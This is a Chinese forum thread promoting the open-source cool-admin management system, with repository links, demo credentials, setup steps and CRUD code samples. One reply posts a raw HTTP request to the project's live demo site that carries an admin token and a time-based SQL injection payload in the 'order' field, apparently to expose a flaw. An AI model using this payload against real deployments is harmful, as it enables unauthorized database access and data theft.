开源比较好看的后台管理系统

[lpap123456]

cool-admin(midway 版)一个很酷的后台权限管理系统，开源免费，模块化、插件化、极速开发 CRUD，方便快速构建迭代后台管理系统，支持 serverless 、docker 、普通服务器等多种方式部署

开源地址

• 后端

https://github.com/cool-team-official/cool-admin-midway

https://gitee.com/cool-team-official/cool-admin-midway

• 前端

https://github.com/cool-team-official/cool-admin-vue

https://gitee.com/cool-team-official/cool-admin-vue

技术栈

• 后端：**node.js midway.js egg.js mysql typescript**
• 前端：**vue.js element-ui jsx vuex vue-router**

如果你是前端，后端的这些技术选型对你是特别友好的，前端开发者可以较快速地上手。 如果你是后端，Typescript 的语法又跟 java 、php 等特别类似，一切看起来也是那么得熟悉。

演示

https://show.cool-admin.com

• 账户：admin
• 密码：123456

文档

https://admin.cool-js.com

项目前端

https://github.com/cool-team-official/cool-admin-vue

QQ 群

2 群：539478405

微信群

微信公众号

运行

修改数据库配置，配置文件位于src/config/config.local.ts

数据库为 mysql(>=5.7 版本)，首次启动会自动初始化并导入数据

config.orm = {
    type: 'mysql',
    host: '127.0.0.1',
    port: 3306,
    username: 'root',
    password: '',
    database: 'cool-admin',
    synchronize: true,
    logging: true,
}

安装依赖并运行

$ npm i
$ npm run dev
$ open http://localhost:8001/

注： 如果你的网络不佳可以尝试使用cnpm，或者切换您的镜像源

CURD(快速增删改查)

大部分的后台管理系统，或者 API 服务都是对数据进行管理，所以可以看到大量的 CRUD 场景(增删改查)，cool-admin 对此进行了大量地封装，让这块的编码量变得极其地少。

新建一个数据表

src/modules/demo/entity/goods.ts，项目启动数据库会自动创建该表，无需手动创建

import { EntityModel } from '@midwayjs/orm';
import { BaseEntity } from 'midwayjs-cool-core';
import { Column } from 'typeorm';

/**
 * 商品
 */
@EntityModel('demo_app_goods')
export class DemoAppGoodsEntity extends BaseEntity {

    @Column({ comment: '标题' })
    title: string;

    @Column({ comment: '图片' })
    pic: string;

    @Column({ comment: '价格', type: 'decimal', precision: 5, scale: 2 })
    price: number;

}

编写 api 接口

src/modules/demo/controller/app/goods.ts，快速编写 6 个 api 接口

import { Provide } from '@midwayjs/decorator';
import { CoolController, BaseController } from 'midwayjs-cool-core';
import { DemoAppGoodsEntity } from '../../entity/goods';

/**
 * 商品
 */
@Provide()
@CoolController({
  api: ['add', 'delete', 'update', 'info', 'list', 'page'],
  entity: DemoAppGoodsEntity
})
export class DemoAppGoodsController extends BaseController {
  /**
   * 其他接口
   */
  @Get('/other')
  async other() {
    return this.ok('hello, cool-admin!!!');
  }
}

这样我们就完成了 6 个接口的编写，对应的接口如下：

• POST /app/demo/goods/add 新增
• POST /app/demo/goods/delete 删除
• POST /app/demo/goods/update 更新
• GET /app/demo/goods/info 单个信息
• POST /app/demo/goods/list 列表信息
• POST /app/demo/goods/page 分页查询(包含模糊查询、字段全匹配等)

部署

$ npm start
$ npm stop

内置指令

• 使用 npm run lint 来做代码风格检查。
• 使用 npm test 来执行单元测试。

[User9901]

POST /api/admin/base/sys/user/page HTTP/1.1
Host: show.cool-admin.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Firefox/88.0
Content-Length: 93
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc1JlZnJlc2giOmZhbHNlLCJyb2xlSWRzIjpbIjEiXSwidXNlcm5hbWUiOiJhZG1pbiIsInVzZXJJZCI6MSwicGFzc3dvcmRWZXJzaW9uIjozLCJpYXQiOjE2MTU5NzQ0OTEsImV4cCI6MTYxNTk4MTY5MX0.3z0hGs69Y6gNMege-h9bn-QhaRzVGeohvNsSn0uhVqs
Content-Type: application/json;charset=UTF-8
Dnt: 1
Origin: https://show.cool-admin.com
Referer: https://show.cool-admin.com/sys/user
Sec-Ch-Ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Sec-Gpc: 1
Accept-Encoding: gzip

{"order":"(select*from(select+sleep(2)union/**/select+1)a)","page":1,"size":20,"sort":"desc"}

[muunala10221]

不错

[dawenxi001]

不错